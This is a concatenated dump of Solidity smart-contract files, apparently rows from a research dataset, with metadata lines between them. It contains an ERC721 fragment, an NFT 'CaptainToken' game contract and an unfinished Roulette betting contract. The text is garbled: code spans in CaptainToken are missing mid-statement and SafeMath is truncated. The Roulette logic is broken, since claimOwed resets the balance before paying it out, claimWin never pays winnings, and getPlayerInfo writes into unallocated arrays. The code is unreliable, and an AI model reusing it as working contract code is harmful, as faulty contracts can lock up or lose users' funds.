library Counters {
using SafeMath for uint256;
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner].current();
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public {
require(_isApprovedOrOwner(msg.sender, tokenId));
_transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
require(!_exists(tokenId));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner);
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
require(to != address(0));
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
| 131,322 | 11,385 |
a007f7531e3e331afd10eca04737dad8d4cfd65c9b71c89a140dd59cd1c537cd
| 18,213 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0xe6609f75fd14562125dda0e7ad353a653ca11377.sol
| 4,454 | 15,885 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() external onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract AccessAdmin is Pausable {
/// @dev Admin Address
mapping (address => bool) adminContracts;
/// @dev Trust contract
mapping (address => bool) actionContracts;
function setAdminContract(address _addr, bool _useful) public onlyOwner {
require(_addr != address(0));
adminContracts[_addr] = _useful;
}
modifier onlyAdmin {
require(adminContracts[msg.sender]);
_;
}
function setActionContract(address _actionAddr, bool _useful) public onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
modifier onlyAccess() {
require(actionContracts[msg.sender]);
_;
}
}
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function approve(address _approved, uint256 _tokenId) external payable;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
/// @title ERC-721 Non-Fungible Token Standard
interface ERC721TokenReceiver {
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f
interface ERC721Metadata {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
}
/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x780e9d63
interface ERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
contract CaptainToken is AccessAdmin, ERC721 {
using SafeMath for SafeMath;
//event
event CreateCaptain(uint tokenId,uint32 captainId, address _owner, uint256 _price);
//ERC721
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
struct Captain {
uint32 captainId;
uint32 color;
uint32 atk;
uint32 defense;
uint32 atk_min;
uint32 atk_max;
}
Captain[] public captains; //dynamic Array
function CaptainToken() public {
captains.length += 1;
setAdminContract(msg.sender,true);
setActionContract(msg.sender,true);
}
/// @dev tokenId to owner tokenId -> address
mapping (uint256 => address) public captainTokenIdToOwner;
/// @dev Equipment token ID search in owner array captainId -> tokenId
mapping (uint256 => uint256) captainIdToOwnerIndex;
/// @dev captains owner by the owner (array)
mapping (address => uint256[]) ownerToCaptainArray;
/// @dev price of each token
mapping (uint256 => uint256) captainTokenIdToPrice;
/// @dev token count of captain
mapping (uint32 => uint256) tokenCountOfCaptain;
/// @dev tokens by the captain
mapping (uint256 => uint32) IndexToCaptain;
/// @dev The authorized address for each Captain
mapping (uint256 => address) captainTokenIdToApprovals;
/// @dev The authorized operators for each address
mapping (address => mapping (address => bool)) operatorToApprovals;
mapping(uint256 => bool) tokenToSell;
/// @dev captain by the owner (array)
mapping (address => uint256[]) ownerToCaptainsArray;
/// @dev Amount of tokens destroyed
uint256 destroyCaptainCount;
// modifier
/// @dev Check if token ID is valid
modifier isValidToken(uint256 _tokenId) {
require(_tokenId >= 1 && _tokenId <= captains.length);
require(captainTokenIdToOwner[_tokenId] != address(0));
_;
}
modifier canTransfer(uint256 _tokenId) {
require(msg.sender == captainTokenIdToOwner[_tokenId] || msg.sender == captainTokenIdToApprovals[_tokenId]);
_;
}
/// @dev Creates a new Captain with the given name.
function CreateCaptainToken(address _owner,uint256 _price, uint32 _captainId, uint32 _color,uint32 _atk,uint32 _defense,uint32 _atk_min,uint32 _atk_max) public onlyAccess {
_createCaptainToken(_owner,_price,_captainId,_color,_atk,_defense,_atk_min,_atk_max);
}
function checkCaptain(address _owner,uint32 _captainId) external view returns (bool) {
uint256 len = ownerToCaptainsArray[_owner].length;
bool bexist = false;
for (uint256 i=0;i captainId
uint256[] storage cpArray = ownerToCaptainArray[_from];
require(cpArray[indexFrom] == _tokenId);
// If the Captain is not the element of array, change it to with the last
if (indexFrom != cpArray.length - 1) {
uint256 lastTokenId = cpArray[cpArray.length - 1];
cpArray[indexFrom] = lastTokenId;
captainIdToOwnerIndex[lastTokenId] = indexFrom;
}
cpArray.length -= 1;
if (captainTokenIdToApprovals[_tokenId] != address(0)) {
delete captainTokenIdToApprovals[_tokenId];
}
}
// Give the Captain to '_to'
captainTokenIdToOwner[_tokenId] = _to;
ownerToCaptainArray[_to].push(_tokenId);
captainIdToOwnerIndex[_tokenId] = ownerToCaptainArray[_to].length - 1;
Transfer(_from != address(0) ? _from : this, _to, _tokenId);
}
/// @notice Returns all the relevant information about a specific tokenId.
/// @param _tokenId The tokenId of the captain
function getCaptainInfo(uint256 _tokenId) external view returns (uint32 captainId,
uint32 color,
uint32 atk,
uint32 atk_min,
uint32 atk_max,
uint32 defense,
uint256 price,
address owner,
bool selled) {
Captain storage captain = captains[_tokenId];
captainId = captain.captainId;
color = captain.color;
atk = captain.atk;
atk_min = captain.atk_min;
atk_max = captain.atk_max;
defense = captain.defense;
price = captainTokenIdToPrice[_tokenId];
owner = captainTokenIdToOwner[_tokenId];
selled = tokenToSell[_tokenId];
}
/// ERC721
function balanceOf(address _owner) external view returns (uint256) {
require(_owner != address(0));
return ownerToCaptainArray[_owner].length;
}
function ownerOf(uint256 _tokenId) external view returns (address) {
return captainTokenIdToOwner[_tokenId];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable {
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable {
_safeTransferFrom(_from, _to, _tokenId, "");
}
/// @dev Actually perform the safeTransferFrom
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
internal
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = captainTokenIdToOwner[_tokenId];
require(owner != address(0) && owner == _from);
require(_to != address(0));
_transfer(_from, _to, _tokenId);
// Do the callback after everything is done to avoid reentrancy attack
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data);
// bytes4(keccak256("onERC721Received(address,uint256,bytes)")) = 0xf0b9e5ba;
require(retval == 0xf0b9e5ba);
}
/// @dev Transfer ownership of an Captain, '_to' must be a vaild address, or the WAR will lost
/// @param _from The current owner of the Captain
/// @param _to The new owner
/// @param _tokenId The Captain to transfer
function transferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
isValidToken(_tokenId)
canTransfer(_tokenId)
payable
{
address owner = captainTokenIdToOwner[_tokenId];
require(owner != address(0));
require(owner == _from);
require(_to != address(0));
_transfer(_from, _to, _tokenId);
}
/// @dev Safe transfer by trust contracts
function safeTransferByContract(address _from,address _to, uint256 _tokenId)
external
whenNotPaused
{
require(actionContracts[msg.sender]);
require(_tokenId >= 1 && _tokenId <= captains.length);
address owner = captainTokenIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner != _to);
require(_from == owner);
_transfer(owner, _to, _tokenId);
}
/// @dev Set or reaffirm the approved address for an captain
/// @param _approved The new approved captain controller
/// @param _tokenId The captain to approve
function approve(address _approved, uint256 _tokenId)
external
whenNotPaused
payable
{
address owner = captainTokenIdToOwner[_tokenId];
require(owner != address(0));
require(msg.sender == owner || operatorToApprovals[owner][msg.sender]);
captainTokenIdToApprovals[_tokenId] = _approved;
Approval(owner, _approved, _tokenId);
}
/// @dev Enable or disable approval for a third party ("operator") to manage all your asset.
/// @param _operator Address to add to the set of authorized operators.
/// @param _approved True if the operators is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved)
external
whenNotPaused
{
operatorToApprovals[msg.sender][_operator] = _approved;
ApprovalForAll(msg.sender, _operator, _approved);
}
/// @dev Get the approved address for a single Captain
/// @param _tokenId The WAR to find the approved address for
/// @return The approved address for this WAR, or the zero address if there is none
function getApproved(uint256 _tokenId) external view isValidToken(_tokenId) returns (address) {
return captainTokenIdToApprovals[_tokenId];
}
/// @dev Query if an address is an authorized operator for another address
/// @param _owner The address that owns the WARs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return operatorToApprovals[_owner][_operator];
}
/// @notice A descriptive name for a collection of NFTs in this contract
function name() public pure returns(string) {
return "Pirate Conquest Token";
}
/// @notice An abbreviated name for NFTs in this contract
function symbol() public pure returns(string) {
return "PCT";
}
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
//function tokenURI(uint256 _tokenId) external view returns (string);
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint256) {
return captains.length - destroyCaptainCount -1;
}
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index= `balanceOf(_owner)` or if
/// `_owner` is the zero address, representing invalid NFTs.
/// @param _owner An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_index < ownerToCaptainArray[_owner].length);
if (_owner != address(0)) {
uint256 tokenId = ownerToCaptainArray[_owner][_index];
return tokenId;
}
}
/// @param _owner The owner whose celebrity tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Persons array looking for persons belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns (uint256[],uint32[]) {
uint256 len = ownerToCaptainArray[_owner].length;
uint256[] memory tokens = new uint256[](len);
uint32[] memory captainss = new uint32[](len);
uint256 icount;
if (_owner != address(0)) {
for (uint256 i=0;i 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function div32(uint32 a, uint32 b) internal pure returns (uint32) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint32 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function sub32(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
}
| 335,785 | 11,386 |
7f9ee25e2dbd2dcd25a2178e0eed81196a87eccb6c09d00f562925fbb34688df
| 24,016 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/87/8737a45d3f90e893d5e43c81ef9b1f8fa40eb53f_Roulette.sol
| 4,455 | 17,376 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ReentrancyGuard {
bool private rentrancy_lock = false;
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
contract Roulette is Ownable, ReentrancyGuard {
uint256[] red = [1,3,5,7,9,12,14,16,18,19,21,23,25,27,30,32,34,36];
uint256[] black = [2,4,6,8,10,11,13,15,17,20,22,24,26,28,29,31,33,35];
struct PlayerInfo {
uint256 owedAmount;
uint256[] participatedIds;
}
struct PlayerGameInfo {
bool inGame;
uint8[] gameTypes;
uint8[] playerOutcomes;
uint256[] betAmounts;
bool[] won;
uint256[] winAmounts;
bool claimed;
}
struct GameInfo {
uint256 gameId;
uint256 endTimestamp;
uint256 totalPlayers;
uint256 totalBank;
bool outcomeSet;
uint8 realOutcome;
uint256 totalWon;
uint256 totalLost;
}
mapping (uint256 => mapping (address => PlayerGameInfo)) public playerGameInfo;
mapping (address => PlayerInfo) public playerInfo;
bool public gameActive;
GameInfo[] public gameInfo;
address public validator;
uint256 public ONE_MINUTE = 60; // 60 seconds
event BetPlaced(address player, uint256 gameId, uint8 playerOutcome, uint8 gameType);
event WinClaimed(address player, uint256 payedAmount);
constructor() {
gameInfo.push(GameInfo({
gameId: 0,
endTimestamp: block.timestamp + ONE_MINUTE,
totalPlayers: 0,
totalBank: 0,
outcomeSet: false,
realOutcome: 0,
totalWon: 0,
totalLost: 0
}));
gameActive = true;
}
function getPlayerInfo(address user) external view returns (uint256[] memory participatedIds,
uint8[] memory gameType,
uint8[] memory playerOutcome,
uint256[] memory betAmount,
bool[] memory won,
uint256[] memory winAmounts) {
uint256 counter;
for (uint256 i; i < playerInfo[user].participatedIds.length; i++) {
counter += playerGameInfo[playerInfo[user].participatedIds[i]][user].gameTypes.length;
}
uint256 counter1;
for (uint256 x; x <= counter; x ++) {
for (uint256 y; y < playerInfo[user].participatedIds.length; y++) {
for (uint256 z; z < playerGameInfo[playerInfo[user].participatedIds[y]][user].gameTypes.length; z++) {
participatedIds[counter1] = playerInfo[user].participatedIds[y];
gameType[counter1] = playerGameInfo[playerInfo[user].participatedIds[y]][user].gameTypes[z];
playerOutcome[counter1] = playerGameInfo[playerInfo[user].participatedIds[y]][user].playerOutcomes[z];
betAmount[counter1] = playerGameInfo[playerInfo[user].participatedIds[y]][user].betAmounts[z];
if (gameType[counter1] < 3) {
(won[counter1], winAmounts[counter1]) = check012(participatedIds[counter1], playerOutcome[counter1], betAmount[counter1]);
} else if (gameType[counter1] == 3 || gameType[counter1] == 4) {
(won[counter1], winAmounts[counter1]) = check34(participatedIds[counter1], playerOutcome[counter1], betAmount[counter1]);
} else if (gameType[counter1] == 5 || gameType[counter1] == 6) {
(won[counter1], winAmounts[counter1]) = check56(participatedIds[counter1], playerOutcome[counter1], betAmount[counter1]);
} else if (gameType[counter1] == 7 || gameType[counter1] == 8) {
(won[counter1], winAmounts[counter1]) = check78(participatedIds[counter1], playerOutcome[counter1], betAmount[counter1]);
} else {
(won[counter1], winAmounts[counter1]) = check9(participatedIds[counter1], playerOutcome[counter1], betAmount[counter1]);
}
counter1 ++;
}
}
}
}
function getOwedAmount(address user) external view returns (uint256 amount, bool canClaim) {
return(playerInfo[user].owedAmount, address(this).balance >= playerInfo[user].owedAmount);
}
function placeBet(uint8 _playerOutcome, uint8 _gameType) external payable nonReentrant {
require(gameActive, "Game is currently paused");
if (gameInfo[gameInfo.length-1].endTimestamp < block.timestamp) {
_initNextGame();
}
if (_gameType < 9) {
require(_playerOutcome != 0, "Invalid outcome for game type");
}
uint256 _currentGameId = gameInfo.length - 1;
if (!playerGameInfo[_currentGameId][_msgSender()].inGame) {
playerInfo[_msgSender()].participatedIds.push(_currentGameId);
playerGameInfo[_currentGameId][_msgSender()].inGame = true;
gameInfo[_currentGameId].totalPlayers ++;
}
gameInfo[_currentGameId].totalBank += msg.value;
playerGameInfo[_currentGameId][_msgSender()].gameTypes.push(_gameType);
playerGameInfo[_currentGameId][_msgSender()].playerOutcomes.push(_playerOutcome);
playerGameInfo[_currentGameId][_msgSender()].betAmounts.push(msg.value);
}
function claimWin() external nonReentrant {
uint256 totalPayableAmount;
for (uint256 i; i < playerInfo[_msgSender()].participatedIds.length; i++) {
if (!playerGameInfo[i][_msgSender()].claimed) {
uint8 playerGameType;
if (gameInfo[playerInfo[_msgSender()].participatedIds[i]].outcomeSet) {
for (uint256 x; x < playerGameInfo[i][_msgSender()].gameTypes.length; x++) {
playerGameType = playerGameInfo[i][_msgSender()].gameTypes[x];
bool win;
uint256 payForGame;
if (playerGameType < 3) {
(win, payForGame) = check012(playerInfo[_msgSender()].participatedIds[i] ,playerGameInfo[i][_msgSender()].playerOutcomes[x], playerGameInfo[i][_msgSender()].betAmounts[x]);
} else if (playerGameType == 3 || playerGameType == 4) {
(win, payForGame) = check34(playerInfo[_msgSender()].participatedIds[i] ,playerGameInfo[i][_msgSender()].playerOutcomes[x], playerGameInfo[i][_msgSender()].betAmounts[x]);
} else if (playerGameType == 5 || playerGameType == 6) {
(win, payForGame) = check56(playerInfo[_msgSender()].participatedIds[i] ,playerGameInfo[i][_msgSender()].playerOutcomes[x], playerGameInfo[i][_msgSender()].betAmounts[x]);
} else if (playerGameType == 7 || playerGameType == 8) {
(win, payForGame) = check78(playerInfo[_msgSender()].participatedIds[i] ,playerGameInfo[i][_msgSender()].playerOutcomes[x], playerGameInfo[i][_msgSender()].betAmounts[x]);
} else {
(win, payForGame) = check9(playerInfo[_msgSender()].participatedIds[i] ,playerGameInfo[i][_msgSender()].playerOutcomes[x], playerGameInfo[i][_msgSender()].betAmounts[x]);
}
playerGameInfo[i][_msgSender()].won.push(win);
if (win) {
playerGameInfo[i][_msgSender()].winAmounts.push(0);
gameInfo[playerInfo[_msgSender()].participatedIds[i]].totalWon += payForGame;
totalPayableAmount += payForGame;
} else {
gameInfo[playerInfo[_msgSender()].participatedIds[i]].totalLost += playerGameInfo[i][_msgSender()].betAmounts[i];
}
}
}
playerGameInfo[i][_msgSender()].claimed = true;
}
}
if (totalPayableAmount > 0) {
}
}
function claimOwed() external nonReentrant {
if (address(this).balance >= playerInfo[_msgSender()].owedAmount) {
playerInfo[_msgSender()].owedAmount = 0;
payable(_msgSender()).transfer(playerInfo[_msgSender()].owedAmount);
}
}
/// @dev 1st 12, 2nd 12, 3rd 12
function check012(uint256 gameId, uint8 playerOutcome, uint256 betAmount) internal view returns (bool win, uint256 payout) {
uint256 outcome = gameInfo[gameId].realOutcome;
if (outcome !=0 && outcome < 13 && playerOutcome < 13) {
win = true;
} else if (outcome !=0 && outcome > 12 && outcome < 25 && playerOutcome > 12 && playerOutcome < 25) {
win = true;
} else if (outcome !=0 && outcome > 24 && playerOutcome > 24) {
win = true;
} else {
win = false;
}
if (win) {
payout = 37 * betAmount / 12;
}
}
/// @dev 1 to 18, 19 to 36
function check34(uint256 gameId, uint8 playerOutcome, uint256 betAmount) internal view returns (bool win, uint256 payout) {
uint256 outcome = gameInfo[gameId].realOutcome;
if (outcome !=0 && outcome < 19 && playerOutcome < 19) {
win = true;
} else if (outcome !=0 && outcome > 18 && playerOutcome > 19) {
win = true;
} else {
win = false;
}
if (win) {
payout = 37 * betAmount / 12;
}
}
/// @dev even or odd
function check56(uint256 gameId, uint8 playerOutcome, uint256 betAmount) internal view returns (bool win, uint256 payout) {
uint256 outcome = gameInfo[gameId].realOutcome;
if (outcome != 0 && outcome % 2 == playerOutcome % 2) {
win = true;
} else {
win = false;
}
if (win) {
payout = 37 * betAmount / 18;
}
}
/// @dev red or black
function check78(uint256 gameId, uint8 playerOutcome, uint256 betAmount) internal view returns (bool win, uint256 payout) {
uint256 outcome = gameInfo[gameId].realOutcome;
if (outcome != 0) {
bool playerRed;
bool gameRed;
for (uint256 i; i < red.length; i ++) {
if (red[i] == outcome) {
gameRed = true;
}
if (red[i] == playerOutcome) {
playerRed = true;
}
}
win = gameRed == playerRed;
} else {
win = false;
}
if (win) {
payout = 37 * betAmount / 18;
}
}
function check9(uint256 gameId, uint8 playerOutcome, uint256 betAmount) internal view returns (bool win, uint256 payout) {
win = gameInfo[gameId].realOutcome == playerOutcome;
if (win) {
payout = betAmount * 37;
}
}
function _initNextGame() internal {
uint256 _lastGameId = gameInfo.length - 1;
require(gameInfo[_lastGameId].endTimestamp < block.timestamp, "Last game has not finished");
_setGameOutcome();
